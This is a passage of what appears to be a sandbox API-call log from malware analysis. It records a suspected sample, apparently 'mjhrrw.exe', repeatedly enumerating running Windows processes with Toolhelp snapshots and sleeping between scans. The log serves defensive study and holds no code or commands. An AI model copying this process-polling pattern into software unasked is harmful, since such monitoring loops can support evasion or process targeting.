lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0214.913] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0214.914] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0214.914] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0214.915] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0214.916] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.917] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0214.917] CloseHandle (hObject=0x364) returned 1 [0214.917] Sleep (dwMilliseconds=0x1f4) [0215.938] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0215.945] Process32FirstW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.945] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0215.946] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0215.946] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.947] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0215.947] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.948] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0215.948] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0215.949] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0215.949] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0215.950] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0215.950] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.951] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.951] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0215.952] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.953] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.953] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.954] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.954] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.955] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.955] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.956] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.957] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.957] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.958] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0215.958] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.959] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0215.959] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0215.960] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0215.960] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0215.961] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0215.961] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.962] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0215.963] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0215.963] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0215.964] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0215.964] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0215.965] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0215.965] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0215.966] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0215.966] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0215.967] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0215.968] CloseHandle (hObject=0x370) returned 1 [0215.968] Sleep (dwMilliseconds=0x1f4) [0216.609] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0216.614] Process32FirstW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.614] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0216.615] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0216.615] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.616] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0216.616] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.617] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0216.617] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0216.618] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0216.618] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0216.619] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0216.619] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.620] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.620] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0216.621] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.621] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.622] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.622] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.622] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.623] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.624] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.624] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.624] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.625] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.625] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0216.626] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.626] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0216.627] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0216.627] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0216.628] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0216.628] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0216.628] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.629] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0216.629] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0216.630] Process32NextW (in: hSnapshot=0x370, 